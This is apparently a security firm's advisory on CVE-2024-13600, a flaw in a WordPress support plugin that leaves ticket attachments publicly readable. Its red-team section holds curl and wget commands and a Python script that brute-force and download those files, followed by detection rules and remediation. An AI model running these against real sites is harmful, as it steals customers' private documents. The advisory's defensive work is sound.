CVE-2024-13600

Executive Summary

CVE-2024-13600 is a Sensitive Information Exposure vulnerability in the Majestic Support – The Leading-Edge Help Desk & Customer Support Plugin for WordPress, affecting all versions up to and including 1.0.5. The vulnerability allows unauthenticated attackers to access sensitive data stored in the /wp-content/uploads/majesticsupportdata directory, which contains file attachments from support tickets. This exposure can lead to the leakage of confidential customer information, internal communications, and potentially credentials or other sensitive data embedded in attachments.

The vulnerability is classified as High Severity (CVSS 7.5) due to the ease of exploitation (no authentication required) and the potential for significant data loss. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the public nature of the vulnerability and the lack of a patch make it a critical risk for affected sites.

WordPress Ecosystem Context

This vulnerability is specific to the Majestic Support WordPress plugin. It is not related to Apache or Nginx server configurations. The insecure storage of support ticket attachments in a publicly accessible directory is a direct result of the plugin's design flaw.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High. The vulnerability is trivial to exploit and can lead to mass data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the way the Majestic Support plugin stores file attachments uploaded via support tickets. The plugin creates a directory at /wp-content/uploads/majesticsupportdata/ and stores all ticket attachments there without proper access controls. The directory is publicly accessible via the web server, and no authentication or authorization checks are performed before serving files.

Root Cause: The plugin fails to implement any access control mechanism (e.g., .htaccess restrictions, nonce verification, or user capability checks) for the upload directory. Additionally, the plugin does not use WordPress's built-in file handling functions that enforce access controls.

Attack Vector: An unauthenticated attacker can enumerate files in the directory by guessing filenames or using directory listing (if enabled). Even without directory listing, common naming patterns (e.g., ticket_123_attachment.pdf) can be brute-forced.

Impact: Exposure of:

• Customer personally identifiable information (PII)
• Internal business communications
• Credentials or API keys embedded in attachments
• Legal or financial documents

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire plugin version 1.0.5 and earlier. The insecure directory creation and file storage logic is the core issue.

Vulnerable Code (Conceptual):

// In plugin's file upload handler
$upload_dir = wp_upload_dir();
$target_dir = $upload_dir['basedir'] . '/majesticsupportdata/';
if (!file_exists($target_dir)) {
    mkdir($target_dir, 0755, true);
}
move_uploaded_file($_FILES['file']['tmp_name'], $target_dir . $filename);
// No access control check

Patched Code (Hypothetical):

// Use WordPress's private uploads or implement access control
$upload_dir = wp_upload_dir();
$target_dir = $upload_dir['basedir'] . '/majesticsupportdata/';
if (!file_exists($target_dir)) {
    mkdir($target_dir, 0755, true);
}
// Add .htaccess to deny direct access
file_put_contents($target_dir . '.htaccess', 'Deny from all');
// Or use a custom download handler with capability checks

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Majestic Support plugin <= 1.0.5 installed and active.
• Knowledge of the site's base URL.

Exploitation Steps:

1. Enumerate the directory:

   curl -s "http://target.com/wp-content/uploads/majesticsupportdata/"
   

   If directory listing is enabled, you will see all files. If not, proceed to brute-force.

2. Brute-force filenames: Use a wordlist of common patterns (e.g., ticket_1_attachment.pdf, ticket_2_attachment.docx).

   for i in $(seq 1 100); do
       curl -s -o /dev/null -w "%{http_code}" "http://target.com/wp-content/uploads/majesticsupportdata/ticket_${i}_attachment.pdf"
   done
   

3. Download discovered files:

   wget "http://target.com/wp-content/uploads/majesticsupportdata/ticket_42_attachment.pdf"
   

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
for i in range(1, 1001):
    url = f"{target}/wp-content/uploads/majesticsupportdata/ticket_{i}_attachment.pdf"
    r = requests.get(url)
    if r.status_code == 200:
        with open(f"ticket_{i}_attachment.pdf", "wb") as f:
            f.write(r.content)
        print(f"[+] Downloaded: ticket_{i}_attachment.pdf")

Blue Team (Detection & Prevention)

Detection:

• Monitor access logs for requests to /wp-content/uploads/majesticsupportdata/ from suspicious IPs or with high frequency.
• Use the Sigma rule below to detect enumeration attempts.

Prevention:

• Immediately disable the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block access to the directory.
• Add an .htaccess file to the directory:

  Deny from all
  

• Move the upload directory outside the web root and use a custom download script.

Indicators of Compromise (IOCs)

• File Path: /wp-content/uploads/majesticsupportdata/
• HTTP Requests: GET requests to /wp-content/uploads/majesticsupportdata/*
• User Agents: Any standard HTTP client (curl, wget, Python requests)
• Network Patterns: Sequential requests to the directory with incremental filenames
• Log Entries: 200 OK responses for files in the directory from unauthenticated users

Detection Engineering

YARA Rule

rule CVE_2024_13600_Majestic_Support_Exposure {
    meta:
        description = "Detects access to Majestic Support data directory"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-13600"
    strings:
        $dir = "/wp-content/uploads/majesticsupportdata/"
    condition:
        $dir
}

Sigma Rule

title: Majestic Support Plugin Data Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to access the Majestic Support data directory
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem|contains: "/wp-content/uploads/majesticsupportdata/"
    condition: selection
falsepositives:
    - Legitimate plugin functionality (if patched)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13600 Majestic Support Data Exposure"; flow:to_server; content:"/wp-content/uploads/majesticsupportdata/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Add an .htaccess file to /wp-content/uploads/majesticsupportdata/ with Deny from all.
3. Review server logs for any unauthorized access to the directory.
4. Notify affected users if sensitive data may have been exposed.

Long-term Fix:

• The vendor must release a patched version that stores attachments in a non-publicly accessible directory (e.g., outside web root) and uses a download handler with authentication checks.
• Implement WordPress capability checks (current_user_can()) before serving files.

Workaround:

• Use a WAF to block requests to /wp-content/uploads/majesticsupportdata/.
• Move the directory to a protected location and create a custom download endpoint.

Valters IT
Securing Digital Frontiers